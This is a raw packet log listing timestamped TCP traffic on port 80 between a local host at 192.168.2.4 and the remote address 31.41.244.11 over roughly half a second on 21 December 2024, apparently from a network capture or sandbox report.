Dec 21, 2024 10:15:18.846920967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.847718954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.847771883 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.847789049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.847858906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.848854065 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.848918915 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.848980904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.849042892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.850049019 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.850102901 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.850191116 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.851191044 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.851252079 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.851291895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.851347923 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.852396011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.852464914 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.852616072 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.852667093 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.853666067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.853719950 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.853790045 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.854818106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.854892969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.854937077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.854990005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.855950117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.856085062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.856110096 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.856163979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.857152939 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.857274055 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.857287884 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.857337952 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.858352900 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.858409882 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.858510017 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.858560085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.859617949 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.859652996 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.859710932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.860714912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.860781908 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.860845089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.860905886 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.861896992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.862073898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.991688967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.991750002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.991827011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.991909981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.992305994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.992341995 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.992367029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.992398024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.993415117 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.993613958 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.993648052 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.993710995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.994545937 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.994604111 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.994699955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.994858027 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.995783091 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.995883942 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.995893955 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.995944023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.996963024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.997029066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.997256994 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.997312069 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.998181105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.998250008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.998327971 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.998415947 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.999377966 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.999438047 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:18.999505043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:18.999562979 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.000540972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.000622034 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.000622988 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.000675917 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.001684904 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.001744032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.001800060 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.001921892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.002855062 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.002914906 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.002974987 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.003043890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.004067898 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.004151106 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.004190922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.004313946 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.005233049 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.005294085 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.005372047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.005424023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.006516933 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.006591082 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.006606102 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.006645918 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.007678032 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.007739067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.007767916 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.007829905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.008975983 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.009053946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.009068012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.009097099 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.010112047 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.010149956 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.010170937 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.010202885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.011183977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.011260033 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.011359930 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.011418104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.012377024 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.012432098 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.012475967 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.012564898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.013535023 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.013592005 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.013663054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.013792038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.014750957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.014827967 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.014869928 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.014986038 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.016005039 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.016062021 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.016119957 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.016185999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.017154932 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.017214060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.017448902 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.017504930 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.018330097 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.018392086 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.018435955 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.018543959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.019577980 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.019638062 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.019690990 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.019769907 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.020725012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.020790100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.020837069 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.020889044 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.022001028 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.022053003 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.022064924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.022099972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.023092985 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.023153067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.023190975 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.023243904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.024360895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.024420023 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.024447918 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.024571896 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.025506973 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.025562048 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.025564909 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.025610924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.026680946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.026779890 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.026782990 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.026832104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.027925014 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.027980089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.027985096 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.028033972 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.029047012 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.029105902 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.029289961 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.029340982 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.030241013 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.030369043 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.030405998 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.030472994 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.031394005 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.031470060 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.031526089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.031585932 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.032603025 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.032669067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.032768011 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.032874107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.033896923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.033960104 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.034071922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.034128904 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.034945965 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.035007954 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.035089970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.035147905 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.036221027 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.036254883 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.036283970 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.036318064 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.037470102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.037539959 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.037549973 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.037590981 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.038592100 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.038651943 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.038685083 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.038778067 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.039747953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.039804935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.039860964 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.039906025 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.040913105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.041013002 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.041095972 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.041172028 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.042149067 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.042197943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.042206049 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.042247057 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.043273926 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.043359995 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.043384075 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.043461084 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.044563055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.044598103 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.044622898 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.044652939 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.045670033 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.045742035 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.045809984 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.045861959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.046952009 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.046984911 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.046997070 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.047039032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.048063993 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.048125029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.048151016 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.048336029 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.049325943 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.049390078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.049444914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.049539089 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.050411940 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.050472975 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.050616026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.050673008 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.051620960 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.051680088 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.051716089 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.051779032 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.052779913 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.052830935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.052881002 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.052984953 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.054018974 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.054086924 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.183938026 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.184098959 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.184101105 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.184154034 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.184467077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.184529066 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.184660912 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.184715986 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.184773922 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.184829950 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.185826063 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.185888052 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.185945988 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.186027050 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.186980963 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.187046051 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.187153101 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.187203884 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.188148022 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.188222885 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.188314915 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.188426971 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.189373970 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.189541101 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.189685106 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.189745903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.190593958 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.190654039 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.190718889 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.190892935 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.191766977 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.191828012 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.191900015 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.191951036 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.192953110 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.193011999 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.193094969 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.193151951 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.194133043 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.194194078 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.194257021 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.194344997 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.195400953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.195436954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.195468903 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.195502996 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.196551085 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.196609020 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.196670055 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.196780920 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.197660923 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.197710037 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.197794914 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.197848082 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.198869944 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.198928118 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.199009895 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.199064016 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.200097084 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.200184107 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.200310946 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.200474024 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.201286077 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.201320887 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.201345921 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.201373100 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.202428102 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.202483892 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.202568054 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.202622890 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.203680992 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.203716040 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.203737974 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.203768969 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.204880953 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.204916954 CET	80	49781	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:19.204946041 CET	49781	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:19.204997063 CET	49781	80	192.168.2.4	31.41.244.11
